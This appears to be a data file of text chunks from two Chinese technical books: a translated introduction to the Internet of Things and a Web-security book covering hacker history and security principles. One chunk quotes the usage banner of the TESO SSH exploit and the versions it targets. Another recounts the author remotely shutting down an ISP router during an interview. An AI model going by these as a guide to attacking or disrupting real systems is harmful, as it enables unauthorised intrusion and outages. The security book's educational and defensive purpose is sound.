    {"text": "分析这些数据可以改变商家打广告的位置、展示商品的方式、判断应该在哪里安何种类型的店面、这些店面的租金应该收取多少，甚至应该在那里部署保安等。"},
    {"text": "时间久了，IoE这个词也就逐渐被“数字化”这个术语所取代。 虽然技术术语都会随着时间发生变化，但IoE和数字化这两个术语大致是指同一个概念。 物联网始终属于这两个术语的范畴，但物联网的概念是IoE和数字化这两个概念的子集，了解这一点十分重要。"},
    {"text": "通过Nest，传感器可以判断出住户期待的气温设置，也可以将传感器与其他智能设备（如烟雾报警器、监控摄像头和各类第三方设备）连接在一起。"},
    {"text": "图1-2提供了一个图表来展示联网设备数量的增加趋势。 图1-2 连接到互联网设备的数量快速增加 这些数字表示物联网甚至会改变人类和商业与周边环境的交互方式。"},
    {"text": "下面的示例解释了物联网及其影响带来的一大利好。 这些示例对于实际的物联网用例进行了概括，以便清晰地展示出物联网会在未来如何影响人们的日常生活。"},
    {"text": "当这种幻想通过谷歌的自动驾驶汽车这样的知名项目走进人们的现实生活时，物联网仍然是实现全互联交通基础设施的关键一环。 物联网可以让自动驾驶汽车与车辆周围的交通系统进行双向数据交换，从而更好地与周围的环境进行互动，同时依然向乘客提供重要的数据。 自动驾驶汽车必须与其他交通传感器之间建立不间断的、可靠的通信数据信息，才能完全发挥这类车辆的潜力。"},
    {"text": "今天，我们看到装备有成千上万个传感器的车辆被制造了出来，这些传感器负责测量的内容从油耗到车辆的位置，再到家人乘车时观看的娱乐节目，凡此种种不一而足。"},
    {"text": "就在各大汽车制造商努力尝试重新定义驾驶体验的同时，这些传感器也开始支持IP功能，让它们能够轻松与汽车内外的其他系统进行通信。 此外，新研发出来的传感器和通信技术，开始让汽车有能力与其他汽车、交通信号灯、校园区域及交通基础设施中的其他组成成分之间进行“交流”。"},
    {"text": "这种应用可以在车辆进入十字路口的时机不安全，极可能造成撞车的情况下（例如另一辆车通过停车标记闯入十字路口，或者偏离了正常行驶线路），向驾驶员进行告警（或者在自动驾驶车辆中触发相应操作）。"},
    {"text": "货物管理功能可以在车辆在途时提供精确的货物位置信息，这些通告提示信息可以发送给调度人员，车辆的选路也可以针对道路拥堵情况和天气情况进行优化。"},
    {"text": "随着汽车越来越深入地连接到网络，并且也越来越有能力针对自己的位置、性能、驾驶行为等因素生成连续的信息，一辆车能够生成的信息会达到令人不可思议的数量级。"},
    {"text": "这个数量乘以每辆车每年的驾驶时长，再乘以上路的车辆数，每年生成的数据会以泽字节（zettabyte）计（即每年百万拍字节[petabyte]）。"},
    {"text": "图1-5展示了一辆联网车辆上有可能安装的传感器类型和连接。 图1-5 联网车辆 互联道路可能经历的另一项重大突破在于，汽车生成的数据可能会被第三方使用。"},
    {"text": "显然，我们的车辆生成的数据需要用一种安全可靠的方式来进行处理，这也就意味着网络的安全性必须得到保障，它必须能够对驾驶员和车辆进行身份认证和信息验证，它还必须拥有很高的可用性。"},
    {"text": "汽车厂商可以通过传感器的数据，更好地掌握汽车的驾驶方式，以及当一些零部件出现故障时，汽车是否会发生故障——这些信息可以帮助汽车制造商在未来设计出更好的车辆。"},
    {"text": "当信息代理商成为一个历史比较悠久的行业时，用来（在一个安全可靠的环境中）对汽车提供的数据进行汇总和分类的技术也会快速发展，这类技术也会在未来很多年间成为物联网行业的核心技术。"},
    {"text": "仅在过去几年中，我们已经看到世界各地的高速公路系统采用了复杂的传感器系统，这些传感器系统可以检测到地震、车祸、恶劣天气、交通拥堵等。"},
    {"text": "1.3.2 互联工厂 很多年来，传统的工厂已经因为生产环境“无连接”而占尽劣势，这种劣势至少也是因为信息被“严格控制在”企业商业系统、供应链、客户和合作伙伴之间而造成的。"},
    {"text": "如果人们能够对流水线上的产品实时进行跟踪，也就可以调节流水线的生产速度来实现既定的生产目标，人们也可以轻松判断出在产品生产的各个环节中，工作人员的工作效率。"},
    {"text": "图1-6总结了这四次工业革命，它们分别称为工业1.0版到工业4.0版。 图1-6 四次工业革命 工业4.0版的物联网潮流将工业生产从纯粹的自动流水线组装模式转变为了由能够相互通信的智能机械进行工业化生产。"},
    {"text": "在过去几十年时间里，楼宇的架构变得越来越复杂，其中包含了一层又一层的系统。 这使得楼宇中的建筑结构、机械结构、电力供应系统和IT系统之间的关系变得前所未有的复杂。 时间一久，这些用以支持楼宇环境的功能网络演变成了一个复杂的系统。"},
    {"text": "随着现代化楼宇中智能系统的普及，这些功能都得到了提升，但这些系统中，大多数系统目前仍然是独立于其他系统的，它们也不会考虑人们目前处于楼宇中的哪些区域，以及每个区域中分别有多少人。"},
    {"text": "试想，大量成本都被花在了管理这些复杂的楼宇结构上，何况很多人都把自己的工作时间花在了大楼里，管理人员势必对于高效低价的楼宇管理方式更感兴趣。"},
    {"text": "虽然管理建筑系统的技术解决方案不一而足，但直到最近，这些解决方案仍然都依赖于一个独立的覆盖网络，每个网络都专用于解决一项专门的任务。"},
    {"text": "为了将这些系统连接到同一个框架中，人们设计了楼宇自动化系统（Building Automation System，BAS）来将HVAC、照明、火警、检测和访问控制系统置于同一个管理系统中。"},
    {"text": "例如，建筑自动化系统实际采用的通信协议称为BACnet（建筑自动化与控制网络）。 简言之，BACnet协议定义了一系列能够让建筑中的设备（如HVAC、照明系统、访问控制系统、火警系统）通过以太网通信的一系列服务。"},
    {"text": "这种技术包含了楼宇中很多不同的网络（其中包括照明系统、HVAC、电动窗帘、闭路电视和安保系统），并且它将这些网络都组合到了IP网络当中。"},
    {"text": "照明领域过渡到LED照明意味着人们现在可以在一个融合网络中包含照明系统，让照明系统和其他由IT网络管理的系统一道成为楼宇管理系统的一个组成部分，这个管理系统可以支持语音、视频和其他的数据应用。"},
    {"text": "这也就是说，在进行长期商业案例规划时，采用节能的LED照明技术，而不再安装传统的日光灯或卤素灯泡十分重要，因为这样做几乎不会增加在网络上的前期投资。"},
    {"text": "在这类商业案例中，在天花板中使用CAT 6/5e线缆连接照明设施与在天花板上布满电线来连接所有照明设备相比，前一种方式显然会大大削减成本。"},
    {"text": "这类传感器可以支持高分辨率的数据采集，采集来的数据可以用于控制灯的开关，这些数据也可以与其他分析数据结合起来，来控制其他系统，比如HVAC和安防系统。"},
    {"text": "与用来检测移动之物的传感器不同，现代的照明传感器可以集成到大量的住户传感技术当中，包括低功耗蓝牙（BLE）和WiFi。 这里面的科学原理十分简单：因为现在人人都会随身携带一台支持BLE和WiFi的智能设备，而这些传感器只需要检测BLE或WiFi信号就可以了。"},
    {"text": "当一个人走近一盏灯时，他的位置就会被检测出来，而无线系统可以发送信息，让HVAC系统实时控制进入那个区域的气流，在最大程度上增加办公人员的舒适度。"},
    {"text": "图1-9所示为一个数字天花板灯上安装的住户传感器。 图1-9 一个携带住户传感器的LED数字天花板照明灯 读者可以想象一下物联网智能照明系统给工作环境带来的变化。"},
    {"text": "它不仅可以根据住户的实际位置和建筑的使用率来优化照明效果，还可以让人们更加准确地控制温度，管理烟雾与火灾检测装置，以及管理视频摄像头和楼宇的访问控制系统。"},
    {"text": "比如，如果在一个工厂中，连接机器的网络出现了故障，那么这些机器就无法正常工作，生产也要就此停滞，这有可能会给企业带来数百万美元的经济损失。"},
    {"text": "然而，如果（IT部门负责管理的）电子邮件服务器出现了故障，几个小时无法访问，或许有人会大发雷霆，但这种情况不太可能会给企业带来相同数量级的经济损失。"},
    {"text": "但是，当OT系统共享同一个网络时，OT从业会认为实时OT流量应该被赋予比语音流量更高的优先级，因为OT网络的任何故障都会导致直接的经济损失。"},
    {"text": "OT看上去会更接近IT技术，因为它们也会采用诸如以太网和IP协议这样的公共标准。 同时，IT也会看上去更像是OT的业务伙伴，因为IT从业者也会更了解OT的工业产品和操作需求。"},
    {"text": "IT与OT相结合可以让商业环境变得更加高效，利润也更高，因为这种环境可以降低网络的宕机时间，可以通过规模经济降低成本，可以减少企业的库存，优化商品的运输时间。"},
    {"text": "1.5 物联网的挑战 物联网的未来为我们描绘了一幅生动的图景，但我们同时也面临了重大的挑战。 物联网的很多环节已经成为现实，但物联网必须攻克很多障碍，才能真正走进各行各业和我们生活的每一个角落。 表1-4重点介绍了物联网当前面临的最大挑战和问题。 表1-4 物联网的挑战 续表 1.6 小结 本章对物联网进行了入门介绍，回答了“什么是物联网”的问题。"},
    {"text": "物联网的宗旨是连接未连之物，让智能产品能够与其他人、物或者系统进行通信。 物联网的最终结果是创建出一个能够更好地控制外在世界，同时实现更多高级应用的智能网络。 本章也对物联网的历史发展进行了阐述，指出当前的物联网这一概念是互联网发展的下一个阶段。 在这一章中，我们从一定的高度详细介绍了物联网的一些用例，由此解释了物联网对我们的影响，以及它有可能如何改变我们的世界。 本章介绍了大量物联网的相关概念和术语，包括物联网与数字化这两个概念的差异、IT与OT的融合。"},
    {"text": "版权信息 图书在版编目（CIP）数据 物联网（IoT）基础：网络技术+协议+用例 / （美）大卫·汉斯（David Hanes）等著；李华成译. -- 北京：人民邮电出版社，2021.3 ISBN 978-7-115-55779-7 Ⅰ. ①物… Ⅱ. ①大… ②李… Ⅲ. ①物联网 Ⅳ. ①TP393.4②TP18 中国版本图书馆CIP数据核字（2020）第266847号 著 ［美］大卫•汉斯（David Hanes） ［美］冈萨洛•萨尔盖罗（Gonzalo Salgueiro） ［美］帕特里克•格罗塞特（Patrick Grossetete） ［美］罗伯•巴顿（Rob Barton） ［美］杰罗姆•亨利（Jerome Henry） 译 李华成 责任编辑 傅道坤 责任印制 王 郁 彭志环 人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 https：//www.ptpress.com.cn 山东百润本色印刷有限公司印刷 开本：800×1000 1/16 印张：25.25 字数：542千字 2021年3月第1版 印数：1–1800册 2021年3月山东第1次印刷 著作权合同登记号 图字：01-2017-5034 号 定价：139.80元 读者服务热线：（010）81055410 印装质量热线：（010）81055316 反盗版热线：（010）81055315 广告经营许可证：京东市监广登字20170147号 未知 版权声明 Authorized translation from the English language edition, entitled IoT Fundamentals: Networking Technologies, Protocols, and Use Cases for the Internet of Things 1e by Hanes, Salgueiro, Grossetete, Barton, Henry, published by Pearson Education, Inc, publishing as Cisco Press, Copyright © 2017. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from Pearson Education, Inc. CHINESE SIMPLIFIED language edition published by PEARSON EDUCATION ASIA LTD., and POSTS & TELECOMMUNICATIONS PRESS Copyright © 2021. 本书封面贴有Pearson Education （培生教育出版集团） 激光防伪标签。无标签者不得销售。 未知 内容提要 本书从较高的层面对物联网（IoT）的核心概念以及部署方案进行了介绍。 本书分为15章，内容涵盖了物联网的概念，物联网的网络架构与设计，物联网中的智能对象以及智能对象的相互连接，IP作为物联网的网络协议，物联网中的应用协议，物联网的数据和分析，物联网的安全保障，物联网在制造业、石油和天然气行业、公用事业、智慧城市、交通运输以及采矿业中的用例，物联网的公共安全等内容。 本书讲解由浅入深，理论与案例结合，特别适合对物联网关键概念以及发展应用前景感兴趣的读者阅读。 未知 随时、随地、随心阅读 当当云阅读 未知 物联网（IoT）基础 网络技术+协议+用例 IoT Fundamentals Networking Technologies, Protocols,and Use Cases for the Internet of Things [美] 大卫·汉斯（David Hanes） 冈萨洛·萨尔盖罗（Gonzalo Salgueiro） 帕特里克·格罗塞特（Patrick Grossetete） 罗伯·巴顿（Rob Barton） 杰罗姆·亨利（Jerome Henry） ◎著 李华成 ◎ 译 田 果 ◎ 审 人 民 邮 电 出 版 社 北 京"},
    {"text": "Contents 目录 版权声明 内容提要 序 关于作者 章节贡献人 关于技术审稿人 献辞 致谢 前言 资源与支持 第1章 物联网是什么 1.1 物联网的起源 1.2 物联网与数字化 1.3 物联网的影响 1.4 IT与OT的融合 1.5 物联网的挑战 1.6 小结 第2章 物联网网络架构与设计 2.1 新型网络架构背后的驱动力 2.2 比较物联网的架构 2.3 简化的物联网架构 2.4 核心物联网功能协议栈 2.5 物联网数据管理与计算堆栈 2.6 小结 第3章 智能对象：物联网之“物” 3.1 传感器、执行器和智能对象 3.2 传感器网络 3.3 小结 第4章 连接智能对象 4.1 通信标准 4.2 物联网接入技术 4.3 小结 第5章 IP作为物联网网络层 5.1 IP的商业案例 5.2 优化的需要 5.3 针对物联网来优化IP 5.4 概要文件和合规性 5.5 小结 第6章 物联网应用协议 6.1 传输层 6.2 物联网应用传输方法 6.3 小结 第7章 物联网的数据和分析 7.1 物联网数据分析简介 7.2 机器学习 7.3 大数据分析工具和技术 7.4 边缘流分析 7.5 网络分析 7.6 小结 第8章 物联网安全 8.1 OT安全简史 8.2 OT安全面临的常见挑战 8.3 IT和OT安全实践及系统的差异 8.4 正式的风险分析结构（OCTAVE和FAIR） 8.5 安全在运营环境中的阶段性应用 8.6 小结 第9章 制造业 9.1 互联制造业简介 9.2 互联工厂的体系结构 9.3 工业自动化控制协议 9.4 互联工厂的安全 9.5 互联工厂的边缘计算 9.6 小结 第10章 石油和天然气业 10.1 石油和天然气行业简介 10.2 作为数字化驱动的行业关键挑战 10.3 提高运营效率 10.4 油气物联网架构 10.5 小结 第11章 公用事业 11.1 电力行业简介 11.2 GridBlocks参考模型 11.3 主变电站电网和变电站自动化 11.4 系统控制GridBlock——变电站广域网 11.5 场域网（FAN）GridBlock 11.6 保障智能电网的安全 11.7 智能电网的未来 11.8 小结 第12章 智慧互联城市 12.1 面向智慧城市的物联网战略 12.2 智慧城市物联网架构 12.3 智慧城市安全架构 12.4 智慧城市用例示例 12.5 小结 第13章 交通运输业 13.1 交通和运输业系统 13.2 交通运输业的挑战 13.3 运输业物联网用例 13.4 运输行业的物联网架构 13.5 小结 第14章 采矿业 14.1 当今采矿业及其挑战 14.2 物联网在现代采矿业中的挑战 14.3 采矿业物联网战略 14.4 采矿业物联网体系结构 14.5 小结 第15章 公共安全 15.1 公共安全概述 15.2 公共安全物联网蓝图 15.3 应急响应物联网架构 15.4 物联网公共安全信息处理 15.5 校车安全 15.6 小结 Cover"},
    {"text": "白帽子讲Web安全 作者：吴翰清 字数：43.9万字 大小：20.00MB 书号：978-7-1211-6072-1 出版：2014-06-01 更新：2015-01-03 Web安全第一书，国内唯一多语全球发行安全著作，最佳原创技术书大奖得主，道哥力作！"},
    {"text": "我由于工作的关系接触这方面比较多，但考虑到云计算的未来尚未清晰，以及其他的种种原因，婉拒了张春雨先生的要求，转而决定写一本关于Web安全的书。"},
    {"text": "也是在学校的计算机实验室里，让我迅速在这个领域中成长起来。 大学期间，在父母的资助下，我拥有了自己的第一台个人电脑，这加快了我成长的步伐。"},
    {"text": "与此同时，我和一些互联网上志同道合的朋友，一起建立了一个技术型的安全组织，名字来源于我当时最喜爱的一部动漫：“幻影旅团”（ph4nt0m.org）。"},
    {"text": "在前5年，我投入了大量精力研究渗透测试技术、缓冲区溢出技术、网络攻击技术等； 而在后5年，出于工作需要，我把主要精力放在了对Web安全的研究上。"},
    {"text": "加入的过程颇具传奇色彩，在面试的过程中主管要求我展示自己的能力，于是我远程关闭了阿里巴巴内网上游运营商的一台路由设备，导致阿里巴巴内部网络中断。"},
    {"text": "大学时期的兴趣爱好，居然可以变成一份正经的职业（当时很多大学都尚未开设网络安全的课程与专业），这使得我的父母很震惊，同时也更坚定了我自己以此作为事业的想法。"},
    {"text": "但这些工作成果，都远远比不上那厚厚的一摞网站安全评估报告让我更有成就感，因为我知道，网站上的每一个漏洞，都在影响着成千上万的用户。"},
    {"text": "同时由于淘宝、支付宝草创，尚未建立自己的安全团队，因此我有幸参与了淘宝、支付宝的安全建设，为他们奠定了安全开发框架、安全开发流程的基础。"},
    {"text": "互联网公司安全还有一些鲜明的特色，比如注重用户体验、注重性能、注重产品发布时间，因此传统的安全方案在这样的环境下可能完全行不通。"},
    {"text": "可是我在书店中，却发现安全类目的书，要么是极为学术化的（一般人看不懂）教科书，要么就是极为娱乐化的（比如一些“黑客工具说明书”类型的书）说明书。"},
    {"text": "我在2007年的时候，意识到了掌握这种正确思维方式的重要性，因此我告知好友：安全工程师的核心竞争力不在于他能拥有多少个0day，掌握多少种安全技术，而是在于他对安全理解的深度，以及由此引申的看待安全问题的角度和高度。"},
    {"text": "经历这场危机之后，希望整个中国互联网，在安全问题的认识上，能够有一个新的高度。 那这场危机也就物有所值，或许还能借此契机成就中国互联网的一场安全启蒙运动。"},
    {"text": "这是我的第一本书，也是我坚持自己一个人写完的书，因此可以在书中尽情地阐述自己的安全世界观，且对书中的任何错漏之处以及不成熟的观点都没有可以推卸责任的借口。"},
    {"text": "我于2008年开始在国内互联网行业中倡导白帽子的理念，并联合了一些主要互联网公司的安全工程师，建立了白帽子社区，旨在交流工作中遇到的各种问题，以及经验心得。"},
    {"text": "当网站的安全做到一定程度后，黑客可能难以再找到类似注入攻击、脚本执行等高风险的漏洞，从而可能将注意力转移到客户端脚本攻击上。 客户端脚本安全与浏览器的特性息息相关，因此对浏览器的深入理解将有助于做好客户端脚本安全的解决方案。 如果读者所要解决的问题比较严峻，比如网站的安全是从零开始，则建议跳过此篇，先阅读下一篇“服务器端应用安全”，解决优先级更高的安全问题。 第三篇 服务器端应用安全就常见的服务器端应用安全问题进行了阐述。"},
    {"text": "同时也感谢在工作中一直给予我帮助和鼓励的同事、上司，他们包括但不限于：魏兴国、汤城、刘志生、侯欣杰、林松英、聂万全、谢雄钦、徐敏、刘坤、李泽洋、肖力、叶怡恺。"},
    {"text": "联系方式： 邮箱：opensystem@gmail.com 博客： http://hi.baidu.com/aullik5 微博： http://t.qq.com/aullik5 微博： http://weibo.com/n/aullik5 吴翰清2012年1月于杭州 序言 2012年农历春节，我回到了浙西的老家，外面白雪皑皑。"},
    {"text": "在这与网络隔离的小乡村里，在这可以夜不闭户的小乡村里，过着与网络无关、与安全无关的生活，而我终于可以有时间安安静静拜读吴翰清先生的这本大作了。 认识吴翰清先生源于网络、源于安全，并从网络走向生活，成为朋友。"},
    {"text": "这些书除了在技术上仅立足于零碎的技术点、工具使用手册、攻击过程演示，不系统之外，更为关键的是，它们不是以建设者的角度去解决安全问题。"},
    {"text": "吴翰清先生是我非常佩服的“白帽子”，他和一群志同道合的朋友，一直以建设更安全的互联网为己任，系统地研究安全，积极分享知识，为中国的互联网安全添砖加瓦。"},
    {"text": "而这本书也正是站在白帽子的视角，讲述Web安全的方方面面，它剖析攻击原理，目的是让互联网开发者、技术人员了解原理，并通过自身的实践，告诉大家分析这些问题的方法论、思想以及对应的防范方案。"},
    {"text": "最让我共鸣的是“安全运营”的思路，我相信这也是吴翰清先生这么多年在互联网公司工作的最大收获之一，因为运营是互联网公司的最大特色和法宝。"},
    {"text": "安全是一个动态的过程，因为敌方攻击手段在变，攻击方法在变，漏洞不断出现； 我方业务在变，软件在变，人员在变，妄图通过一个系统、一个方案解决所有的问题是不现实的，也是不可能的，安全需要不断地运营、持续地优化。"},
    {"text": "我想在经历了2011年中国互联网最大安全危机之后，如白雪一样纯洁的《白帽子讲Web安全》应该会给广大的从事互联网技术人员带来更多的帮助，保障中国互联网的安全，迎来互联网的又一个春天。"},
    {"text": "漏洞利用代码能够帮助黑客们达成这一目标。 黑客们使用的漏洞利用代码，被称为“exploit”。 在黑客的世界里，有的黑客，精通计算机技术，能自己挖掘漏洞，并编写exploit；"},
    {"text": "而有的黑客，则只对攻击本身感兴趣，对计算机原理和各种编程技术的了解比较粗浅，因此只懂得编译别人的代码，自己并没有动手能力，这种黑客被称为“Script Kids”，即“脚本小子”。"},
    {"text": "在现实世界里，真正造成破坏的，往往并非那些挖掘并研究漏洞的“黑客”们，而是这些脚本小子。 而在今天已经形成产业的计算机犯罪、网络犯罪中，造成主要破坏的，也是这些“脚本小子”。"},
    {"text": "1.1.1 中国黑客简史 中国黑客的发展分为几个阶段，到今天已经形成了一条黑色产业链。 笔者把中国黑客的发展分为了：启蒙时代、黄金时代、黑暗时代。 首先是启蒙时代，这个时期大概处在20世纪90年代，此时中国的互联网也刚刚处于起步阶段，一些热爱新兴技术的青年受到国外黑客技术的影响，开始研究安全漏洞。"},
    {"text": "这个时期的中国黑客们通过互联网，看到了世界，因此与西方发达国家同期诞生的黑客精神是一脉相传的，他们崇尚分享、自由、免费的互联网精神，并热衷于分享自己的最新研究成果。"},
    {"text": "在这个历史背景下，黑客这个特殊的群体一下子几乎吸引了社会的所有眼球，而此时黑客圈子所宣扬的黑客文化以及黑客技术的独特魅力也吸引了无数的青少年走上这条道路。"},
    {"text": "此时期黑客圈子里贩卖漏洞、恶意软件的现象开始升温，同时因为黑客群体的良莠不齐，也开始出现以赢利为目的的攻击行为，黑色产业链逐渐成型。"},
    {"text": "而在上一个时期技术还不成熟的黑客们，凡是坚持下来的，都已经成长为安全领域的高级人才，有的在安全公司贡献着自己的专业技能，有的则带着非常强的技术进入了黑色产业。"},
    {"text": "整个互联网笼罩在黑色产业链的阴影之下，每年数十亿的经济损失和数千万的网民受害，以及黑客精神的死亡，使得我们没有理由不把此时称为黑暗时代。"},
    {"text": "比如著名的黑客组织TESO，就曾经编写过一个攻击SSH的exploit，并公然在ex-ploit的banner中宣称曾经利用这个exploit入侵过cia.gov（美国中央情报局）。"},
    {"text": "root@plac /bin >> ./ssh linux/x86 sshd1 exploit by zip/TESO (zip@james.kalifornia.com) - ripped from openssh 2.2.0 src greets: mray, random, big t, sh1fty, scut, dvorak ps. this sploit already owned cia.gov :/ **please pick a type** Usage: ./ssh host [options] Options: -p port -b base Base address to start bruteforcing distance, by default 0x1800, goes as high as 0x10000 -t type -d debug mode -o Add this to delta_min types: 0: linux/x86 ssh.com 1.2.26-1.2.31 rhl 1: linux/x86 openssh 1.2.3 (maybe others) 2: linux/x86 openssh 2.2.0p1 (maybe others) 3: freebsd 4.x, ssh.com 1.2.26-1.2.31 rhl 有趣的是，这个exploit还曾经出现在著名电影《黑客帝国2》中： 电影《黑客帝国2》 放大屏幕上的文字可以看到： 电影《黑客帝国2》中使用的著名exploit 在早期互联网中，Web并非互联网的主流应用，相对来说，基于SMTP、POP3、FTP、IRC等协议的服务拥有着绝大多数的用户。"},
    {"text": "相对于那些攻击系统软件的exploit而言，基于Web的攻击，一般只能让黑客获得一个较低权限的账户，对黑客的吸引力远远不如直接攻击系统软件。"},
    {"text": "2003年的冲击波蠕虫是一个里程碑式的事件，这个针对Windows操作系统RPC服务（运行在445端口）的蠕虫，在很短的时间内席卷了全球，造成了数百万台机器被感染，损失难以估量。"},
    {"text": "运营商、防火墙对于网络的封锁，使得暴露在互联网上的非Web服务越来越少，且Web技术的成熟使得Web应用的功能越来越强大，最终成为了互联网的主流。"},
    {"text": "一个典型的攻击场景是，黑客构造一个恶意网页，诱使用户使用浏览器访问该网页，利用浏览器中存在的某些漏洞，比如一个缓冲区溢出漏洞，执行shellcode，通常是下载一个木马并在用户机器里执行。"},
    {"text": "常见的针对桌面软件的攻击目标，还包括微软的Office系列软件、Adobe Acrobat Reader、多媒体播放软件、压缩软件等装机量大的流行软件，都曾经成为黑客们的最爱。"},
    {"text": "但是这种攻击，和本书要讨论的Web安全还是有着本质的区别，所以即使浏览器安全是Web安全的重要组成部分，但在本书中，也只会讨论浏览器和Web安全有关的部分。"},
    {"text": "动态脚本语言的普及，以及Web技术发展初期对安全问题认知的不足导致很多“血案”的发生，同时也遗留下很多历史问题，比如PHP语言至今仍然只能靠较好的代码规范来保证没有文件包含漏洞，而无法从语言本身杜绝此类安全问题的发生。"},
    {"text": "黑客们发现通过SQL注入攻击，可以获取很多重要的、敏感的数据，甚至能够通过数据库获取系统访问权限，这种效果并不比直接攻击系统软件差，Web攻击一下子就流行起来。 SQL注入漏洞至今仍然是Web安全领域中的一个重要组成部分。"},
    {"text": "黑帽子的主要目的是要入侵系统，找到对他们有价值的数据，因此黑帽子只需要以点突破，找到对他们最有用的一点，以此渗透，因此思考问题的出发点必然是有选择性的、微观的。 从对待问题的角度来看，黑帽子为了完成一次入侵，需要利用各种不同漏洞的组合来达到目的，是在不断地组合问题； 而白帽子在设计解决方案时，如果只看到各种问题组合后产生的效果，就会把事情变复杂，难以细致入微地解决根本问题，所以白帽子必然是在不断地分解问题，再对分解后的问题逐个予以解决。"},
    {"text": "假设这个方案的实施周期是3个月，那么执行3个月后，所有的SQL Injection问题都得到了解决，也就意味着黑客再也无法利用SQL Injection这一可能存在的弱点入侵网站了。"},
    {"text": "写得再好的程序，在有人参与的情况下，就可能会出现各种各样不可预知的情况，比如管理员的密码有可能泄露，程序员有可能关掉了安全的配置参数，等等。"},
    {"text": "在安全领域，笔者认为搞明白了安全的本质，就好比学会了“独孤九剑”，天下武功万变不离其宗，遇到任何复杂的情况都可以轻松应对，设计任何的安全方案也都可以信手拈来了。"},
    {"text": "从安全的角度来看，我们将不同重要程度的区域划分出来： 安全检查的过程按照需要进行过滤 通过一个安全检查（过滤、净化）的过程，可以梳理未知的人或物，使其变得可信任。"},
    {"text": "数据从高等级的信任域流向低等级的信任域，是不需要经过安全检查的； 数据从低等级的信任域流向高等级的信任域，则需要经过信任边界的安全检查。"},
    {"text": "笔者认为，安全问题的本质是信任的问题。 一切的安全方案设计的基础，都是建立在信任关系上的。 我们必须相信一些东西，必须有一些最基本的假设，安全方案才能得以建立；"},
    {"text": "当制锁的工匠无法打开锁时，文件才是安全的，这是我们的假设前提之一。 但是如果那个工匠私自藏有一把钥匙，那么这份文件也就不再安全了。"},
    {"text": "这个威胁存在的可能性，依赖于对工匠的信任程度。 如果我们信任工匠，那么在这个假设前提下，我们就能确定文件的安全性。 这种对条件的信任程度，是确定对象是否安全的基础。"},
    {"text": "在现实生活中，我们很少设想最极端的前提条件，因为极端的条件往往意味者小概率以及高成本，因此在成本有限的情况下，我们往往会根据成本来设计安全方案，并将一些可能性较大的条件作为决策的主要依据。"},
    {"text": "比如在设计物理安全时，根据不同的地理位置、不同的政治环境等，需要考虑台风、地震、战争等因素。 但在考虑、设计这些安全方案时，根据其发生的可能性，需要有不同的侧重点。"},
    {"text": "这是因为防御技术在发展的同时，攻击技术也在不断发展，两者是互相促进的辩证关系。 以不变的防御手段对抗不断发展的攻击技术，就犯了刻舟求剑的错误。"},
    {"text": "Pwn2own竞赛是每年举行的让黑客们任意攻击操作系统的一次盛会，一般黑客们都会提前准备好0day漏洞的攻击程序，以求在Pwn2own上一举夺魁。"},
    {"text": "微软近几年在产品的安全中做得越来越好，其所推崇的安全开发流程，将安全检查贯穿于整个软件生命周期中，经过实践检验，证明这是一条可行的道路。 对每一个产品，都要持续地实施严格的安全检查，这是微软通过自身的教训传授给业界的宝贵经验。"},
    {"text": "1.5 安全三要素 既然安全方案的设计与实施过程中没有银弹，注定是一个持续进行的过程，那么我们该如何开始呢？ 其实安全方案的设计也有着一定的思路与方法可循，借助这些方法，能够理清我们的思路，帮助我们设计出合理、优秀的解决方案。"},
    {"text": "前人通过无数实践，最后将安全的属性总结为安全三要素，简称CIA 安全三要素是安全的基本组成元素，分别是机密性（Confidentiality）、完整性（Integrity）、可用性（Availability）。"},
    {"text": "比如在前文的例子中，如果文件不是放在抽屉里，而是放在一个透明的玻璃盒子里，那么虽然外人无法直接取得文件，但因为玻璃盒子是透明的，文件内容可能还是会被人看到，所以不符合机密性要求。 但是如果给文件增加一个封面，掩盖了文件内容，那么也就起到了隐藏的效果，从而满足了机密性要求。"},
    {"text": "在安全领域中，最基本的要素就是这三个，后来还有人想扩充这些要素，增加了诸如可审计性、不可抵赖性等，但最最重要的还是以上三个要素。"},
    {"text": "我们前面提到安全三要素时，机密性和完整性都是与数据相关的，在可用性的定义里，笔者则用到了“资源”一词。 “资源”这个概念描述的范围比数据要更加广阔，但很多时候，资源的可用性也可以理解为数据的可用性。"},
    {"text": "在互联网的基础设施已经比较完善的今天，互联网的核心其实是由用户数据驱动的——用户产生业务，业务产生数据。 互联网公司除了拥有一些固定资产，如服务器等死物外，最核心的价值就是其拥有的用户数据，所以—— 互联网安全的核心问题，是数据安全的问题。"},
    {"text": "比如最重要的数据放在数据库里，那么把数据库的服务器圈起来； Web应用可以从数据库中读/写数据，并对外提供服务，那再把Web服务器圈起来；"},
    {"text": "比如同样是两个应用，互相之间存在数据交互业务，那么就要考虑这里的数据交互对于各自应用来说是否是可信的，是否应该在两个应用之间划一个边界，然后对流经边界的数据做安全检查。"},
    {"text": "当然，也有一些比较科学的方法，比如使用一个模型，帮助我们去想，在哪些方面有可能会存在威胁，这个过程能够避免遗漏，这就是威胁建模。"},
    {"text": "在维护系统安全时，最让安全工程师沮丧的事情就是花费很多的时间与精力实施安全方案，但是攻击者却利用了事先完全没有想到的漏洞（漏洞的定义：系统中可能被威胁利用以造成危害的地方。"},
    {"text": "1949年5月中旬，打响了“陕中战役”，国民党保安第6旅旅长兼第8区专员韩子佩率残部400余人逃上华山，企图凭借“自古华山一条道”的天险负隅顽抗。"},
    {"text": "他们“相信”其他道路是不存在的，这是他们实施安全方案的基础，而一旦这个信任基础不存在了，所有的安全方案都将化作浮云，从而被共产党的部队击败。"},
    {"text": "1.6.3 风险分析 风险由以下因素组成： Risk = Probability * Damage Potential 影响风险高低的因素，除了造成损失的大小外，还需要考虑到发生的可能性。"},
    {"text": "地震的危害很大，但是地震、火山活动一般是在大陆板块边缘频繁出现，比如日本、印尼就处于这些地理位置，因此地震频发； 而在大陆板块中心，若是地质结构以整块的岩石为主，则不太容易发生地震，因此地震的风险就要小很多。"},
